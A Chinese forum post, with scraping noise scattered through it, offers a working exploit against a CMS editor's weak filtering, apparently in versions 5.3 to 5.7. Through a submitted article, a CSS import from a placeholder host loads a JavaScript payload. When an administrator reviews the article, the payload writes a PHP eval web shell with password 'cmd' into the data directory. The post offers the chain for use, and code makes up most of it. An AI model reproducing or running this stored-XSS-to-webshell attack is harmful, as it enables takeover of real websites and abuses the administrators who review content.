<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
7 n4 S7 K( q$ Q C" v) N' X, {为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
0 X+ p$ e0 w) D/ `目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。; q* ]/ {# k( ~+ M
下面说说利用方法。
# j- [$ D4 a. W* l# A+ B! Q条件有2个: T* j w: E3 [- s
1.开启注册
; N4 w5 A3 y( h3 p$ D2.开启投稿
7 I8 }/ Y. h. b5 C6 \注册会员----发表文章
8 Q7 M( w0 y* w5 Z% J内容填写:9 ~. u( Z/ ~, T. d# L
复制代码
$ V) i! @- ]$ K' b1 K9 h<style>@im\port'\http://xxx.com/xss.css';</style>0 Y/ F% t. z8 N
新建XSS.Css
- y9 C B8 e$ ?+ ?: J6 D* H5 I复制代码
$ F1 I, j) k3 e/ ^$ ^3 l.body{
8 W6 I* o3 W# o, m+ N( Dbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
- m: _5 w5 y. e% o/ K/ s" W新建xss.js 内容为8 x- {0 e0 R/ Q! W2 k+ w' u
复制代码
, P! i7 N" A, S1 Z) t- s1.var request = false;
4 J% H" _9 |1 N3 O9 R- I2.if(window.XMLHttpRequest) {
$ {8 ]. W" o8 j3.request = new XMLHttpRequest();! R( C5 c. C. e/ \- p& C- {
4.if(request.overrideMimeType) {: A/ }: R0 N3 X2 ~& _' ?5 j, L
5.request.overrideMimeType('text/xml');& r/ Q1 l/ H6 C" F. s9 y
6.}5 b" r7 B9 S5 B. d
7.} else if(window.ActiveXObject) {. h4 d0 d. W/ S% ?9 _( S8 R9 o* |& ?
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; j: r7 i/ }6 m9.for(var i=0; i<versions.length; i++) {0 D' H& ~- W+ o4 H9 l$ x4 R
10.try {3 Q1 A, k U. U' l* i
11.request = new ActiveXObject(versions);
& \( T6 Z6 |9 U9 t4 N! s4 H/ e' C12.} catch(e) {}
$ k9 j% q- w$ Z, _7 g13.}# H# ?$ M/ r6 ~ d
14.}( r! W9 y- m6 W4 N) [
15.xmlhttp=request;7 X6 Z0 i: ?( e! {4 e
16.function getFolder( url ){; |- m5 r3 i& r
17. obj = url.split('/')! z! S5 O( x7 M, M/ U
18. return obj[obj.length-2]
2 d; R' s: B% O X O; t19.}$ Z; k* x# i8 d) t4 T6 ?) `
20.oUrl = top.location.href;+ T* d% t9 H1 I/ {# a
21.u = getFolder(oUrl);
6 O" k' a0 t- P, t" ]% @22.add_admin();8 @" f( m# U o/ }9 A0 G' a
23.function add_admin(){0 _0 H0 E3 ?0 |5 ]
24.var url= "/"+u+"/sys_sql_query.php";
3 Y$ [) y7 l$ X25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
7 B* q7 _! y; z/ K26.xmlhttp.open("POST", url, true);
* `8 t$ X' [, ~3 {( K; c- I# Q27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
( }5 A; _6 V% I" J/ O2 X28.xmlhttp.setRequestHeader("Content-length", params.length);, O( H1 Z, h, F3 L& i1 S! f
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
. `6 E0 r) s# u30.xmlhttp.send(params);: M' Y5 t1 \! E% A
31.}
6 G1 |' M4 ?; j! H* M" ?8 L% e' }当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |